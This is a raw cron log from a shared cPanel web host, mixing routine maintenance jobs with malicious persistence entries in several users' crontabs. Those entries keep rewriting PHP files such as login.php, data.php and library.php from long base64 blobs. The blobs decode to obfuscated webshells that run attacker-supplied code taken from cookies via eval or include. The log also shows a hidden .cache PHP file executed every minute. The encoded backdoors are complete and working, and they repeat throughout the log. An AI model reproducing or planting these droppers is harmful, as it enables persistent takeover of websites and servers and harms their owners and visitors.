Jun  7 09:33:02 medusa CROND[14495]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:33:02 medusa CROND[14496]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 09:33:02 medusa CROND[14497]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:33:02 medusa CROND[14499]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:33:02 medusa CROND[14501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:33:02 medusa CROND[14506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:33:02 medusa CROND[14505]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:34:01 medusa CROND[16203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:34:02 medusa CROND[16210]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:34:02 medusa CROND[16211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:34:02 medusa CROND[16212]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:34:02 medusa CROND[16213]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:34:02 medusa CROND[16215]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 09:34:02 medusa CROND[16216]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:34:02 medusa CROND[16217]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:34:02 medusa CROND[16218]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:34:02 medusa CROND[16230]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:34:02 medusa CROND[16231]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:34:02 medusa CROND[16232]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:34:02 medusa CROND[16241]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:35:01 medusa CROND[17854]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 09:35:01 medusa CROND[17858]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 09:35:01 medusa CROND[17860]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:35:02 medusa CROND[17909]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 09:35:02 medusa CROND[17914]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 09:35:02 medusa CROND[17915]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 09:35:02 medusa CROND[17916]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 09:35:02 medusa CROND[17917]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Jun  7 09:35:02 medusa CROND[17919]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:35:02 medusa CROND[17920]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 09:35:02 medusa CROND[17925]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:35:02 medusa CROND[17924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:35:02 medusa CROND[17926]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:35:02 medusa CROND[17927]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:35:02 medusa CROND[17930]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:35:02 medusa CROND[17931]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:35:02 medusa CROND[17921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:35:02 medusa CROND[17929]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 09:35:02 medusa CROND[17918]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 09:35:02 medusa CROND[17942]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:35:02 medusa CROND[17934]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 09:35:02 medusa CROND[17947]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:35:02 medusa CROND[17955]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 09:35:02 medusa CROND[17935]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 09:35:02 medusa CROND[17933]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 09:36:02 medusa CROND[19747]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 09:36:02 medusa CROND[19772]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
